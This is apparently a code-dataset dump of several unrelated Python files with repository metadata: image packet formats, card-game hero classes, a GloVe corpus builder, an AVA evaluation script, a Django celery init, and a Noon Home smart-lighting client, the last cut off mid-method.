from .util import BitFormat from . import packet __all__ = ('ImageF0', 'ImageF1', 'ImageF2') class ImageMessage: def __repr__(self): return '<Image Segment>' class ImageF0(packet.Packet): csdw_format = BitFormat(''' u27 length u1 iph u3 sum u3 parts''') class Message(packet.Message, ImageMessage): def __init__(self, *args, **kwargs): packet.Packet.__init__(self, *args, **kwargs) if self.iph: self.Message.FORMAT = BitFormat('u64 ipts') class ImageF1(packet.Packet): csdw_format = BitFormat(''' p23 u4 format u1 iph u2 sum u2 parts''') class Message(packet.Message, ImageMessage): def __init__(self, *args, **kwargs): packet.Packet.__init__(self, *args, **kwargs) fmt = '' if self.iph: fmt = 'u64 ipts\n' self.Message.FORMAT = BitFormat(fmt + 'u32 length') class ImageF2(packet.Packet): csdw_format = BitFormat(''' p21 u6 format u1 iph u2 sum u2 parts''') class Message(packet.Message, ImageMessage): def __init__(self, *args, **kwargs): packet.Packet.__init__(self, *args, **kwargs) fmt = '' if self.iph: fmt = 'u64 ipts\n' self.Message.FORMAT = BitFormat(fmt + 'u32 length')

true

f70524fefa5302b732e4c8435ba2d80c5c960673

3,066

py

Python

SDWLE/cards_copy/heroes.py

jomyhuang/sdwle

9b6e916567e09c7cba4a171fe0adf0f47009a8c3

[ "MIT" ]

null

SDWLE/cards_copy/heroes.py

jomyhuang/sdwle

9b6e916567e09c7cba4a171fe0adf0f47009a8c3

[ "MIT" ]

null

SDWLE/cards_copy/heroes.py

jomyhuang/sdwle

9b6e916567e09c7cba4a171fe0adf0f47009a8c3

[ "MIT" ]

null

from SDWLE.cards.base import HeroCard from SDWLE.constants import CHARACTER_CLASS, MINION_TYPE from SDWLE.powers import MagePower, DruidPower, HunterPower, PaladinPower, PriestPower, RoguePower,\ ShamanPower, WarlockPower, WarriorPower, JaraxxusPower, DieInsect class Malfurion(HeroCard): def __init__(self): super().__init__("Malfurion Stormrage", CHARACTER_CLASS.DRUID, 30, DruidPower) class Rexxar(HeroCard): def __init__(self): super().__init__("Rexxar", CHARACTER_CLASS.HUNTER, 30, HunterPower) class Jaina(HeroCard): def __init__(self): super().__init__("Jaina Proudmoore", CHARACTER_CLASS.MAGE, 30, MagePower) class Uther(HeroCard): def __init__(self): super().__init__("Uther the Lightbringer", CHARACTER_CLASS.PALADIN, 30, PaladinPower) class Anduin(HeroCard): def __init__(self): super().__init__("Anduin Wrynn", CHARACTER_CLASS.PRIEST, 30, PriestPower) class Valeera(HeroCard): def __init__(self): super().__init__("Valeera Sanguinar", CHARACTER_CLASS.ROGUE, 30, RoguePower) class Thrall(HeroCard): def __init__(self): super().__init__("Thrall", CHARACTER_CLASS.SHAMAN, 30, ShamanPower) class Guldan(HeroCard): def __init__(self): super().__init__("Gul'dan", CHARACTER_CLASS.WARLOCK, 30, WarlockPower) class Garrosh(HeroCard): def __init__(self): super().__init__("Garrosh Hellscream", CHARACTER_CLASS.WARRIOR, 30, WarriorPower) class Jaraxxus(HeroCard): def __init__(self): super().__init__("Lord Jaraxxus", CHARACTER_CLASS.WARLOCK, 15, JaraxxusPower, MINION_TYPE.DEMON, ref_name="Lord Jarraxus (hero)") class Ragnaros(HeroCard): def __init__(self): super().__init__("Ragnaros the Firelord (hero)", CHARACTER_CLASS.ALL, 8, DieInsect) def hero_for_class(character_class): if character_class == CHARACTER_CLASS.DRUID: return Malfurion() elif character_class == CHARACTER_CLASS.HUNTER: return Rexxar() elif character_class == CHARACTER_CLASS.MAGE: return Jaina() elif character_class == CHARACTER_CLASS.PRIEST: return Anduin() elif character_class == CHARACTER_CLASS.PALADIN: return Uther() elif character_class == CHARACTER_CLASS.ROGUE: return Valeera() elif character_class == CHARACTER_CLASS.SHAMAN: return Thrall() elif character_class == CHARACTER_CLASS.WARLOCK: return Guldan() elif character_class == CHARACTER_CLASS.WARRIOR: return Garrosh() else: return Jaina() __hero_lookup = {"Jaina": Jaina, "Malfurion": Malfurion, "Rexxar": Rexxar, "Anduin": Anduin, "Uther": Uther, "Gul'dan": Guldan, "Valeera": Valeera, "Thrall": Thrall, "Garrosh": Garrosh, "Jaraxxus": Jaraxxus, "Ragnaros": Ragnaros, } def hero_from_name(name): return __hero_lookup[name]()

30.356436

104

0.660144

from SDWLE.cards.base import HeroCard from SDWLE.constants import CHARACTER_CLASS, MINION_TYPE from SDWLE.powers import MagePower, DruidPower, HunterPower, PaladinPower, PriestPower, RoguePower,\ ShamanPower, WarlockPower, WarriorPower, JaraxxusPower, DieInsect class Malfurion(HeroCard): def __init__(self): super().__init__("Malfurion Stormrage", CHARACTER_CLASS.DRUID, 30, DruidPower) class Rexxar(HeroCard): def __init__(self): super().__init__("Rexxar", CHARACTER_CLASS.HUNTER, 30, HunterPower) class Jaina(HeroCard): def __init__(self): super().__init__("Jaina Proudmoore", CHARACTER_CLASS.MAGE, 30, MagePower) class Uther(HeroCard): def __init__(self): super().__init__("Uther the Lightbringer", CHARACTER_CLASS.PALADIN, 30, PaladinPower) class Anduin(HeroCard): def __init__(self): super().__init__("Anduin Wrynn", CHARACTER_CLASS.PRIEST, 30, PriestPower) class Valeera(HeroCard): def __init__(self): super().__init__("Valeera Sanguinar", CHARACTER_CLASS.ROGUE, 30, RoguePower) class Thrall(HeroCard): def __init__(self): super().__init__("Thrall", CHARACTER_CLASS.SHAMAN, 30, ShamanPower) class Guldan(HeroCard): def __init__(self): super().__init__("Gul'dan", CHARACTER_CLASS.WARLOCK, 30, WarlockPower) class Garrosh(HeroCard): def __init__(self): super().__init__("Garrosh Hellscream", CHARACTER_CLASS.WARRIOR, 30, WarriorPower) class Jaraxxus(HeroCard): def __init__(self): super().__init__("Lord Jaraxxus", CHARACTER_CLASS.WARLOCK, 15, JaraxxusPower, MINION_TYPE.DEMON, ref_name="Lord Jarraxus (hero)") class Ragnaros(HeroCard): def __init__(self): super().__init__("Ragnaros the Firelord (hero)", CHARACTER_CLASS.ALL, 8, DieInsect) def hero_for_class(character_class): if character_class == CHARACTER_CLASS.DRUID: return Malfurion() elif character_class == CHARACTER_CLASS.HUNTER: return Rexxar() elif character_class == CHARACTER_CLASS.MAGE: return Jaina() elif character_class == CHARACTER_CLASS.PRIEST: return Anduin() elif character_class == CHARACTER_CLASS.PALADIN: return Uther() elif character_class == CHARACTER_CLASS.ROGUE: return Valeera() elif character_class == CHARACTER_CLASS.SHAMAN: return Thrall() elif character_class == CHARACTER_CLASS.WARLOCK: return Guldan() elif character_class == CHARACTER_CLASS.WARRIOR: return Garrosh() else: return Jaina() __hero_lookup = {"Jaina": Jaina, "Malfurion": Malfurion, "Rexxar": Rexxar, "Anduin": Anduin, "Uther": Uther, "Gul'dan": Guldan, "Valeera": Valeera, "Thrall": Thrall, "Garrosh": Garrosh, "Jaraxxus": Jaraxxus, "Ragnaros": Ragnaros, } def hero_from_name(name): return __hero_lookup[name]()

true

f705257c65c84a3ef53edac3abe051b1978185f8

2,667

py

Python

glove/corpus.py

thibaultprouteau/glove-python

749494290fdfd24379dcc2e244c583ee61808634

[ "Apache-2.0" ]

1,148

2015-01-01T02:27:31.000Z

2022-03-31T17:16:05.000Z

glove/corpus.py

thibaultprouteau/glove-python

749494290fdfd24379dcc2e244c583ee61808634

[ "Apache-2.0" ]

78

2015-01-01T10:18:54.000Z

2021-08-06T06:53:24.000Z

glove/corpus.py

thibaultprouteau/glove-python

749494290fdfd24379dcc2e244c583ee61808634

[ "Apache-2.0" ]

352

2015-01-02T06:01:17.000Z

2022-03-22T12:21:51.000Z

# Cooccurrence matrix construction tools # for fitting the GloVe model. import numpy as np try: # Python 2 compat import cPickle as pickle except ImportError: import pickle from .corpus_cython import construct_cooccurrence_matrix class Corpus(object): """ Class for constructing a cooccurrence matrix from a corpus. A dictionry mapping words to ids can optionally be supplied. If left None, it will be constructed from the corpus. """ def __init__(self, dictionary=None): self.dictionary = {} self.dictionary_supplied = False self.matrix = None if dictionary is not None: self._check_dict(dictionary) self.dictionary = dictionary self.dictionary_supplied = True def _check_dict(self, dictionary): if (np.max(list(dictionary.values())) != (len(dictionary) - 1)): raise Exception('The largest id in the dictionary ' 'should be equal to its length minus one.') if np.min(list(dictionary.values())) != 0: raise Exception('Dictionary ids should start at zero') def fit(self, corpus, window=10, ignore_missing=False): """ Perform a pass through the corpus to construct the cooccurrence matrix. Parameters: - iterable of lists of strings corpus - int window: the length of the (symmetric) context window used for cooccurrence. - bool ignore_missing: whether to ignore words missing from the dictionary (if it was supplied). Context window distances will be preserved even if out-of-vocabulary words are ignored. If False, a KeyError is raised. """ self.matrix = construct_cooccurrence_matrix(corpus, self.dictionary, int(self.dictionary_supplied), int(window), int(ignore_missing)) def save(self, filename): with open(filename, 'wb') as savefile: pickle.dump((self.dictionary, self.matrix), savefile, protocol=pickle.HIGHEST_PROTOCOL) @classmethod def load(cls, filename): instance = cls() with open(filename, 'rb') as savefile: instance.dictionary, instance.matrix = pickle.load(savefile) return instance

32.52439

82

0.558305

import numpy as np try: import cPickle as pickle except ImportError: import pickle from .corpus_cython import construct_cooccurrence_matrix class Corpus(object): def __init__(self, dictionary=None): self.dictionary = {} self.dictionary_supplied = False self.matrix = None if dictionary is not None: self._check_dict(dictionary) self.dictionary = dictionary self.dictionary_supplied = True def _check_dict(self, dictionary): if (np.max(list(dictionary.values())) != (len(dictionary) - 1)): raise Exception('The largest id in the dictionary ' 'should be equal to its length minus one.') if np.min(list(dictionary.values())) != 0: raise Exception('Dictionary ids should start at zero') def fit(self, corpus, window=10, ignore_missing=False): self.matrix = construct_cooccurrence_matrix(corpus, self.dictionary, int(self.dictionary_supplied), int(window), int(ignore_missing)) def save(self, filename): with open(filename, 'wb') as savefile: pickle.dump((self.dictionary, self.matrix), savefile, protocol=pickle.HIGHEST_PROTOCOL) @classmethod def load(cls, filename): instance = cls() with open(filename, 'rb') as savefile: instance.dictionary, instance.matrix = pickle.load(savefile) return instance

true

f7052ac37e1c8ecd7b7eb4f960efd1bcda7a3958

8,320

py

Python

action-baseline/evaluation/get_ava_performance.py

leaderj1001/Action-Localization

04d972e6dc3c07d347c70893723d91487c1c8cbd

[ "MIT" ]

24

2019-07-10T15:13:27.000Z

2021-07-08T12:12:40.000Z

action-baseline/evaluation/get_ava_performance.py

leaderj1001/Action-Localization

04d972e6dc3c07d347c70893723d91487c1c8cbd

[ "MIT" ]

7

2019-10-06T12:22:04.000Z

2020-04-15T13:14:10.000Z

action-baseline/evaluation/get_ava_performance.py

leaderj1001/Action-Localization

04d972e6dc3c07d347c70893723d91487c1c8cbd

[ "MIT" ]

4

2019-10-31T09:01:15.000Z

2021-03-26T04:20:21.000Z

r"""Compute action detection performance for the AVA dataset. Please send any questions about this code to the Google Group ava-dataset-users: https://groups.google.com/forum/#!forum/ava-dataset-users Example usage: python -O get_ava_performance.py \ -l ava/ava_action_list_v2.1_for_activitynet_2018.pbtxt.txt \ -g ava_val_v2.1.csv \ -e ava_val_excluded_timestamps_v2.1.csv \ -d your_results.csv """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse from collections import defaultdict import csv import heapq import logging import pprint import sys import time import numpy as np from evaluation.ava import object_detection_evaluation from evaluation.ava import standard_fields def print_time(message, start): logging.info("==> %g seconds to %s", time.time() - start, message) def make_image_key(video_id, timestamp): """Returns a unique identifier for a video id & timestamp.""" return "%s,%04d" % (video_id, int(timestamp)) def read_csv(csv_file, class_whitelist=None, capacity=0): """Loads boxes and class labels from a CSV file in the AVA format. CSV file format described at https://research.google.com/ava/download.html. Args: csv_file: A file object. class_whitelist: If provided, boxes corresponding to (integer) class labels not in this set are skipped. capacity: Maximum number of labeled boxes allowed for each example. Default is 0 where there is no limit. Returns: boxes: A dictionary mapping each unique image key (string) to a list of boxes, given as coordinates [y1, x1, y2, x2]. labels: A dictionary mapping each unique image key (string) to a list of integer class lables, matching the corresponding box in `boxes`. scores: A dictionary mapping each unique image key (string) to a list of score values lables, matching the corresponding label in `labels`. If scores are not provided in the csv, then they will default to 1.0. """ start = time.time() entries = defaultdict(list) boxes = defaultdict(list) labels = defaultdict(list) scores = defaultdict(list) reader = csv.reader(csv_file) for row in reader: assert len(row) in [7, 8], "Wrong number of columns: " + row image_key = make_image_key(row[0], row[1]) x1, y1, x2, y2 = [float(n) for n in row[2:6]] action_id = int(row[6]) if class_whitelist and action_id not in class_whitelist: continue score = 1.0 if len(row) == 8: score = float(row[7]) if capacity < 1 or len(entries[image_key]) < capacity: heapq.heappush(entries[image_key], (score, action_id, y1, x1, y2, x2)) elif score > entries[image_key][0][0]: heapq.heapreplace(entries[image_key], (score, action_id, y1, x1, y2, x2)) for image_key in entries: # Evaluation API assumes boxes with descending scores entry = sorted(entries[image_key], key=lambda tup: -tup[0]) for item in entry: score, action_id, y1, x1, y2, x2 = item boxes[image_key].append([y1, x1, y2, x2]) labels[image_key].append(action_id) scores[image_key].append(score) print_time("read file " + csv_file.name, start) return boxes, labels, scores def read_exclusions(exclusions_file): """Reads a CSV file of excluded timestamps. Args: exclusions_file: A file object containing a csv of video-id,timestamp. Returns: A set of strings containing excluded image keys, e.g. "aaaaaaaaaaa,0904", or an empty set if exclusions file is None. """ excluded = set() if exclusions_file: reader = csv.reader(exclusions_file) for row in reader: assert len(row) == 2, "Expected only 2 columns, got: " + row excluded.add(make_image_key(row[0], row[1])) return excluded def read_labelmap(labelmap_file): """Reads a labelmap without the dependency on protocol buffers. Args: labelmap_file: A file object containing a label map protocol buffer. Returns: labelmap: The label map in the form used by the object_detection_evaluation module - a list of {"id": integer, "name": classname } dicts. class_ids: A set containing all of the valid class id integers. """ labelmap = [] class_ids = set() name = "" class_id = "" for line in labelmap_file: if line.startswith(" name:"): name = line.split('"')[1] elif line.startswith(" id:") or line.startswith(" label_id:"): class_id = int(line.strip().split(" ")[-1]) labelmap.append({"id": class_id, "name": name}) class_ids.add(class_id) return labelmap, class_ids def run_evaluation(labelmap, groundtruth, detections, exclusions): """Runs evaluations given input files. Args: labelmap: file object containing map of labels to consider, in pbtxt format groundtruth: file object detections: file object exclusions: file object or None. """ categories, class_whitelist = read_labelmap(labelmap) logging.info("CATEGORIES (%d):\n%s", len(categories), pprint.pformat(categories, indent=2)) excluded_keys = read_exclusions(exclusions) pascal_evaluator = object_detection_evaluation.PascalDetectionEvaluator( categories) # Reads the ground truth data. boxes, labels, _ = read_csv(groundtruth, class_whitelist, 0) start = time.time() for image_key in boxes: if image_key in excluded_keys: logging.info(("Found excluded timestamp in ground truth: %s. " "It will be ignored."), image_key) continue pascal_evaluator.add_single_ground_truth_image_info( image_key, { standard_fields.InputDataFields.groundtruth_boxes: np.array(boxes[image_key], dtype=float), standard_fields.InputDataFields.groundtruth_classes: np.array(labels[image_key], dtype=int), standard_fields.InputDataFields.groundtruth_difficult: np.zeros(len(boxes[image_key]), dtype=bool) }) print_time("convert groundtruth", start) # Reads detections data. boxes, labels, scores = read_csv(detections, class_whitelist, 50) start = time.time() for image_key in boxes: if image_key in excluded_keys: logging.info(("Found excluded timestamp in detections: %s. " "It will be ignored."), image_key) continue pascal_evaluator.add_single_detected_image_info( image_key, { standard_fields.DetectionResultFields.detection_boxes: np.array(boxes[image_key], dtype=float), standard_fields.DetectionResultFields.detection_classes: np.array(labels[image_key], dtype=int), standard_fields.DetectionResultFields.detection_scores: np.array(scores[image_key], dtype=float) }) print_time("convert detections", start) start = time.time() metrics = pascal_evaluator.evaluate() print_time("run_evaluator", start) pprint.pprint(metrics, indent=2) def parse_arguments(): """Parses command-line flags. Returns: args: a named tuple containing three file objects args.labelmap, args.groundtruth, and args.detections. """ parser = argparse.ArgumentParser() parser.add_argument( "-l", "--labelmap", help="Filename of label map", type=argparse.FileType("r"), default="./ava/ava_action_list_v2.1_for_activitynet_2018.pbtxt.txt") parser.add_argument( "-g", "--groundtruth", default='./ava_val_v2.2.csv', help="CSV file containing ground truth.", type=argparse.FileType("r"), # required=True ) parser.add_argument( "-d", "--detections", default='results.csv', help="CSV file containing inferred action detections.", type=argparse.FileType("r"), # required=True ) parser.add_argument( "-e", "--exclusions", help=("Optional CSV file containing videoid,timestamp pairs to exclude from evaluation."), type=argparse.FileType("r"), required=False) return parser.parse_args() def main(): logging.basicConfig(level=logging.INFO) args = parse_arguments() run_evaluation(**vars(args)) if __name__ == "__main__": main()

33.548387

98

0.679688

from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse from collections import defaultdict import csv import heapq import logging import pprint import sys import time import numpy as np from evaluation.ava import object_detection_evaluation from evaluation.ava import standard_fields def print_time(message, start): logging.info("==> %g seconds to %s", time.time() - start, message) def make_image_key(video_id, timestamp): return "%s,%04d" % (video_id, int(timestamp)) def read_csv(csv_file, class_whitelist=None, capacity=0): start = time.time() entries = defaultdict(list) boxes = defaultdict(list) labels = defaultdict(list) scores = defaultdict(list) reader = csv.reader(csv_file) for row in reader: assert len(row) in [7, 8], "Wrong number of columns: " + row image_key = make_image_key(row[0], row[1]) x1, y1, x2, y2 = [float(n) for n in row[2:6]] action_id = int(row[6]) if class_whitelist and action_id not in class_whitelist: continue score = 1.0 if len(row) == 8: score = float(row[7]) if capacity < 1 or len(entries[image_key]) < capacity: heapq.heappush(entries[image_key], (score, action_id, y1, x1, y2, x2)) elif score > entries[image_key][0][0]: heapq.heapreplace(entries[image_key], (score, action_id, y1, x1, y2, x2)) for image_key in entries: entry = sorted(entries[image_key], key=lambda tup: -tup[0]) for item in entry: score, action_id, y1, x1, y2, x2 = item boxes[image_key].append([y1, x1, y2, x2]) labels[image_key].append(action_id) scores[image_key].append(score) print_time("read file " + csv_file.name, start) return boxes, labels, scores def read_exclusions(exclusions_file): excluded = set() if exclusions_file: reader = csv.reader(exclusions_file) for row in reader: assert len(row) == 2, "Expected only 2 columns, got: " + row excluded.add(make_image_key(row[0], row[1])) return excluded def read_labelmap(labelmap_file): labelmap = [] class_ids = set() name = "" class_id = "" for line in labelmap_file: if line.startswith(" name:"): name = line.split('"')[1] elif line.startswith(" id:") or line.startswith(" label_id:"): class_id = int(line.strip().split(" ")[-1]) labelmap.append({"id": class_id, "name": name}) class_ids.add(class_id) return labelmap, class_ids def run_evaluation(labelmap, groundtruth, detections, exclusions): categories, class_whitelist = read_labelmap(labelmap) logging.info("CATEGORIES (%d):\n%s", len(categories), pprint.pformat(categories, indent=2)) excluded_keys = read_exclusions(exclusions) pascal_evaluator = object_detection_evaluation.PascalDetectionEvaluator( categories) # Reads the ground truth data. boxes, labels, _ = read_csv(groundtruth, class_whitelist, 0) start = time.time() for image_key in boxes: if image_key in excluded_keys: logging.info(("Found excluded timestamp in ground truth: %s. " "It will be ignored."), image_key) continue pascal_evaluator.add_single_ground_truth_image_info( image_key, { standard_fields.InputDataFields.groundtruth_boxes: np.array(boxes[image_key], dtype=float), standard_fields.InputDataFields.groundtruth_classes: np.array(labels[image_key], dtype=int), standard_fields.InputDataFields.groundtruth_difficult: np.zeros(len(boxes[image_key]), dtype=bool) }) print_time("convert groundtruth", start) # Reads detections data. boxes, labels, scores = read_csv(detections, class_whitelist, 50) start = time.time() for image_key in boxes: if image_key in excluded_keys: logging.info(("Found excluded timestamp in detections: %s. " "It will be ignored."), image_key) continue pascal_evaluator.add_single_detected_image_info( image_key, { standard_fields.DetectionResultFields.detection_boxes: np.array(boxes[image_key], dtype=float), standard_fields.DetectionResultFields.detection_classes: np.array(labels[image_key], dtype=int), standard_fields.DetectionResultFields.detection_scores: np.array(scores[image_key], dtype=float) }) print_time("convert detections", start) start = time.time() metrics = pascal_evaluator.evaluate() print_time("run_evaluator", start) pprint.pprint(metrics, indent=2) def parse_arguments(): parser = argparse.ArgumentParser() parser.add_argument( "-l", "--labelmap", help="Filename of label map", type=argparse.FileType("r"), default="./ava/ava_action_list_v2.1_for_activitynet_2018.pbtxt.txt") parser.add_argument( "-g", "--groundtruth", default='./ava_val_v2.2.csv', help="CSV file containing ground truth.", type=argparse.FileType("r"), # required=True ) parser.add_argument( "-d", "--detections", default='results.csv', help="CSV file containing inferred action detections.", type=argparse.FileType("r"), # required=True ) parser.add_argument( "-e", "--exclusions", help=("Optional CSV file containing videoid,timestamp pairs to exclude from evaluation."), type=argparse.FileType("r"), required=False) return parser.parse_args() def main(): logging.basicConfig(level=logging.INFO) args = parse_arguments() run_evaluation(**vars(args)) if __name__ == "__main__": main()

true

f7052b09a9ff46196bd8601792bc9ccca71459ca

192

py

Python

IdentityAccessManager/__init__.py

silop4all/iam

691316ca9ea7d3d10a3197b4d028e44e333c7060

[ "Apache-2.0" ]

2

2018-02-27T20:51:08.000Z

2019-11-25T10:11:59.000Z

IdentityAccessManager/__init__.py

silop4all/iam

691316ca9ea7d3d10a3197b4d028e44e333c7060

[ "Apache-2.0" ]

null

IdentityAccessManager/__init__.py

silop4all/iam

691316ca9ea7d3d10a3197b4d028e44e333c7060

[ "Apache-2.0" ]

null

from __future__ import absolute_import # This will make sure the app is always imported when # Django starts so that shared_task will use this app. from .celery import app as celery_app

32

55

0.786458

from __future__ import absolute_import from .celery import app as celery_app

true

f7052baf507e53e8f68e20a709510cb920844c03

11,928

py

Python

aiopynoon/noon.py

alistairg/aiopynoon

f1340bd6a56de661e09f9f90fb28c331df2d5653

[ "MIT" ]

1

2020-06-18T06:29:40.000Z

aiopynoon/noon.py

alistairg/aiopynoon

f1340bd6a56de661e09f9f90fb28c331df2d5653

[ "MIT" ]

null

aiopynoon/noon.py

alistairg/aiopynoon

f1340bd6a56de661e09f9f90fb28c331df2d5653

[ "MIT" ]

null

import logging import asyncio from asyncio import CancelledError from aiohttp import ClientSession, WSMsgType, ClientTimeout, WSServerHandshakeError import json import datetime import traceback import typing from .const import ( LOGIN_URL, DEX_URL, Guid ) from .space import NoonSpace from .line import NoonLine from .entity import NoonEntity from .scene import NoonScene from .exceptions import ( NoonAuthenticationError, NoonUnknownError, NoonProtocolError, NoonDuplicateIdError ) _LOGGER = logging.getLogger(__name__) class Noon(object): """Base object for Noon Home.""" @property async def spaces(self) -> typing.Dict[Guid, NoonSpace]: if self._spaces is None: await self._refreshDevices() return self._spaces @property async def lines(self) -> typing.Dict[Guid, NoonLine]: if self._lines is None: await self._refreshDevices() return self._lines @property def session(self) -> ClientSession: return self._session @property def event_stream_connected(self) -> bool: return self._event_stream_connected @property def event_stream_error(self) -> str: return self._event_stream_error def __init__(self, session, username, password): """Create a PyNoone object. :param username: Noon username :param password: Noon password :returns PyNoon base object """ # Properties self._spaces = None self._lines = None self._scenes = None self._all_entities = {} self._endpoints = {} self._event_stream_connected = False self._event_stream_error = None # Store credentials self._username = username self._password = password self._token = None self._token_expires = None # AIOHTTP self._session = session self._websocket_task = None async def authenticate(self) -> bool: """Authenticate with Noon and store the authentication token.""" """Reuse token if we have one.""" if self._token is not None and self._token_expires > datetime.datetime.now(): _LOGGER.debug("Using cached token, which should still be valid") return True """ Authenticate user, and get tokens """ _LOGGER.debug("No valid token or token expired. Authenticating...") payload = { "email": self._username, "password": self._password } async with self.session.post(LOGIN_URL, json=payload) as login_response: parsed_response = await login_response.json() _LOGGER.debug("Response: {}".format(parsed_response)) # Invalid response from noon if not isinstance(parsed_response, dict): _LOGGER.error("Response from authentication was not a dictionary") raise NoonProtocolError # Single error from noon if "error" in parsed_response.keys(): raise NoonAuthenticationError # Errors from Noon if parsed_response.get("errors") is not None: _LOGGER.error("Multiple authentication errors from Noon - {}".format(parsed_response["errors"])) raise NoonUnknownError # Must have a token and lifetime try: self._token = parsed_response["token"] self._token_expires = datetime.datetime.now() + datetime.timedelta(seconds = (parsed_response["lifetime"]-30)) _LOGGER.debug("Got token from Noon. Expires at {}".format(self._token_expires)) except KeyError: _LOGGER.error("Failed to get token or lifetime from {}".format(parsed_response)) raise NoonUnknownError # Get endpoints if needed await self._refreshEndpoints() # Success return True async def open_eventstream(self, event_loop=None): """Create a background task for the event stream.""" if event_loop is None: _LOGGER.debug("Using main asyncio event loop") event_loop = asyncio.get_running_loop() assert self._websocket_task is None or self._websocket_task.cancelled(), "Already running an event stream task" self._websocket_task = event_loop.create_task(self._internal_eventstream()) async def close_eventstream(self): """Close the event stream background task.""" if self._websocket_task is not None and not self._websocket_task.cancelled(): _LOGGER.debug("Canceling websocket task") self._websocket_task.cancel() async def _internal_eventstream(self): """Loop for connecting to the Noon notification stream.""" keep_looping = True while keep_looping: try: await self.authenticate() timeout = ClientTimeout(total=8, connect=20, sock_connect=20, sock_read=8) event_stream_url = "{}/api/notifications".format(self._endpoints["notification-ws"]) _LOGGER.debug("Connecting to notification stream...") async with self.session.ws_connect(event_stream_url, timeout=timeout, heartbeat=60, headers={"Authorization": "Token {}".format(self._token)}) as ws: _LOGGER.debug("Connected to notification stream") self._event_stream_connected = True self._event_stream_error = None async for msg in ws: if msg.type == WSMsgType.TEXT: _LOGGER.debug("Got websocket message: {}".format(msg.data)) parsed_data = json.loads(msg.data) changes = parsed_data["data"].get("changes", []) for change in changes: await self._handle_change(change) elif msg.type == WSMsgType.CLOSED: _LOGGER.error("Socket closed") raise NoonProtocolError("Notification stream closed unexpectedly") elif msg.type == WSMsgType.ERROR: _LOGGER.error("Websocket error") raise NoonProtocolError("Unknown error on notification stream") except CancelledError: _LOGGER.debug("Loop canceled.") self._event_stream_error = "Canceled" keep_looping = False except WSServerHandshakeError: _LOGGER.error("Loop Fatal: Handshake error") self._event_stream_error = "Handshake Error" keep_looping = False except Exception: _LOGGER.exception("Loop Fatal: Generic exception during event loop") self._event_stream_error = "Unknown exception - {}".format(traceback.format_exc()) keep_looping = False finally: _LOGGER.debug("Event stream is disconnected.") self._event_stream_connected = False async def _handle_change(self, change): """Process a change notification.""" guid = change.get("guid", None) if guid is None: _LOGGER.error("Cannot process change - no GUID in {}".format(change)) return affected_entity = self._all_entities.get(guid, None) if affected_entity is None: _LOGGER.debug("UNEXPECTED: Got change notification for {}, but not an expected entity! ({}".format(guid, change)) return _LOGGER.debug("Got change notification for '{}' - {}".format(affected_entity.name, change)) changed_fields = change.get("fields", []) return await affected_entity.handle_update(changed_fields) def get_entity(self, entity_id: Guid) -> NoonEntity: return self._all_entities.get(entity_id, None) async def _refreshEndpoints(self): """Update the noon endpoints for this account""" if len(self._endpoints) > 0: return await self.authenticate() async with self.session.get(DEX_URL, headers={ "Authorization": "Token {}".format(self._token) }) as login_response: parsed_response = await login_response.json() # Must be a dictionary if not isinstance(parsed_response, dict): _LOGGER.error("Response from get endpoints was not a dictionary - {}".format(parsed_response)) raise NoonProtocolError # Store try: self._endpoints = parsed_response["endpoints"] except KeyError: _LOGGER.error("Unexpected endpoints response {}".format(parsed_response)) raise NoonUnknownError def _registerEntity(self, entity: NoonEntity): """ EVERYTHING """ self._all_entities[entity.guid] = entity """ SPACE """ if isinstance(entity, NoonSpace): existingEntity = self._spaces.get(entity.guid, None) if existingEntity is not None: if entity.name != existingEntity.name and False: _LOGGER.error("New space '{}' has same ID as existing space '{}'".format(entity.name, existingEntity.name)) raise NoonDuplicateIdError else: return else: self._spaces[entity.guid] = entity """ LINE """ if isinstance(entity, NoonLine): existingEntity = self._lines.get(entity.guid, None) if existingEntity is not None: if entity.name != existingEntity.name and False: _LOGGER.error("New line '{}' has same ID as existing line '{}'".format(entity.name, existingEntity.name)) raise NoonDuplicateIdError else: return else: self._lines[entity.guid] = entity """ SCENE """ if isinstance(entity, NoonScene): existingEntity = self._scenes.get(entity.guid, None) if existingEntity is not None: if entity.name != existingEntity.name and False: _LOGGER.error("New scene '{}' has same ID as existing scene '{}'".format(entity.name, existingEntity.name)) raise NoonDuplicateIdError else: return else: self._scenes[entity.guid] = entity async def _refreshDevices(self): """Load the devices (spaces/lines) on this account.""" # Reset cache self._spaces = {} self._scenes = {} self._lines = {} # Authenticate if needed await self.authenticate() # Load the device details url = "{}/api/query".format(self._endpoints["query"]) headers = { "Authorization": "Token {}".format(self._token), "Content-Type": "application/graphql" } data = "{spaces {guid name lightsOn activeScene{guid name} lines{guid lineState displayName dimmingLevel multiwayMaster { guid }} scenes{name guid}}}" async with self.session.post(url, headers=headers, data=data) as discovery_response: parsed_response = await discovery_response.json() # Must be a dictionary if not isinstance(parsed_response, dict): _LOGGER.error("Response from discovery was not a dictionary - {}".format(parsed_response)) raise NoonProtocolError # Parse spaces for space in parsed_response["spaces"]: this_space = await NoonSpace.from_json(self, space) _LOGGER.debug("Discovered space {}".format(this_space.name))

38.980392

165

0.597082

import logging import asyncio from asyncio import CancelledError from aiohttp import ClientSession, WSMsgType, ClientTimeout, WSServerHandshakeError import json import datetime import traceback import typing from .const import ( LOGIN_URL, DEX_URL, Guid ) from .space import NoonSpace from .line import NoonLine from .entity import NoonEntity from .scene import NoonScene from .exceptions import ( NoonAuthenticationError, NoonUnknownError, NoonProtocolError, NoonDuplicateIdError ) _LOGGER = logging.getLogger(__name__) class Noon(object): @property async def spaces(self) -> typing.Dict[Guid, NoonSpace]: if self._spaces is None: await self._refreshDevices() return self._spaces @property async def lines(self) -> typing.Dict[Guid, NoonLine]: if self._lines is None: await self._refreshDevices() return self._lines @property def session(self) -> ClientSession: return self._session @property def event_stream_connected(self) -> bool: return self._event_stream_connected @property def event_stream_error(self) -> str: return self._event_stream_error def __init__(self, session, username, password): self._spaces = None self._lines = None self._scenes = None self._all_entities = {} self._endpoints = {} self._event_stream_connected = False self._event_stream_error = None self._username = username self._password = password self._token = None self._token_expires = None self._session = session self._websocket_task = None async def authenticate(self) -> bool: if self._token is not None and self._token_expires > datetime.datetime.now(): _LOGGER.debug("Using cached token, which should still be valid") return True _LOGGER.debug("No valid token or token expired. Authenticating...") payload = { "email": self._username, "password": self._password } async with self.session.post(LOGIN_URL, json=payload) as login_response: parsed_response = await login_response.json() _LOGGER.debug("Response: {}".format(parsed_response)) if not isinstance(parsed_response, dict): _LOGGER.error("Response from authentication was not a dictionary") raise NoonProtocolError if "error" in parsed_response.keys(): raise 